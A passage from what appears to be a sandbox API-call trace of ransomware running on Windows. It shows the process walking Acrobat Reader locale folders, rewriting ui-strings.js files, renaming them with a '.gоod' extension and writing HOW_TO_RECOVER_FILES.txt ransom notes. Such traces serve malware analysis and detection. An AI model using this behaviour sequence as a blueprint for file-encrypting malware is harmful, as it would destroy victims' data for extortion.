nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0253.315] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.315] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.315] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0253.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0253.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0253.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0253.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0253.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0253.316] GetFileType (hFile=0x82c) returned 0x1 [0253.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0253.316] GetFileType (hFile=0x82c) returned 0x1 [0253.317] WriteFile (in: hFile=0x82c, lpBuffer=0x3b4d2d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3b4d2d8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0253.318] CloseHandle (hObject=0x82c) returned 1 [0253.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0253.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x7e [0253.318] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0253.319] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.319] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.319] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0253.319] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0253.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0253.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0253.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0253.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x7e [0253.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0253.320] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.320] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.320] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.320] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0253.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0253.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0253.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0253.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0253.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3b5d350 | out: lpFileInformation=0x3b5d350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358)) returned 1 [0253.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0253.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0253.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0253.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.321] GetFileType (hFile=0x82c) returned 0x1 [0253.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0253.321] GetFileType (hFile=0x82c) returned 0x1 [0253.321] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x358 [0253.321] ReadFile (in: hFile=0x82c, lpBuffer=0x3b5da70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3b5da70*, lpNumberOfBytesRead=0x20beb8c8*=0x358, lpOverlapped=0x0) returned 1 [0253.322] CloseHandle (hObject=0x82c) returned 1 [0255.396] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0255.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0255.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0255.397] GetFileType (hFile=0x86c) returned 0x1 [0255.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0255.397] GetFileType (hFile=0x86c) returned 0x1 [0255.397] WriteFile (in: hFile=0x86c, lpBuffer=0x3bb9900*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3bb9900*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0255.398] CloseHandle (hObject=0x86c) returned 1 [0255.398] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0255.398] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0255.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0255.398] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94701765, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0255.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0255.398] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0255.399] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0255.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0255.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0255.544] GetFileType (hFile=0x864) returned 0x1 [0255.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0255.544] GetFileType (hFile=0x864) returned 0x1 [0255.545] WriteFile (in: hFile=0x864, lpBuffer=0x3afb500*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3afb500*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0255.545] CloseHandle (hObject=0x864) returned 1 [0255.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0255.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x7e [0255.546] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0255.546] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.546] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.546] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.546] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0255.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0255.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0255.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0255.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x7e [0255.547] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0255.547] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.547] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.547] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.547] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0255.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0255.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0255.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0255.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0255.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3b0b578 | out: lpFileInformation=0x3b0b578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353)) returned 1 [0255.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0255.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0255.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) 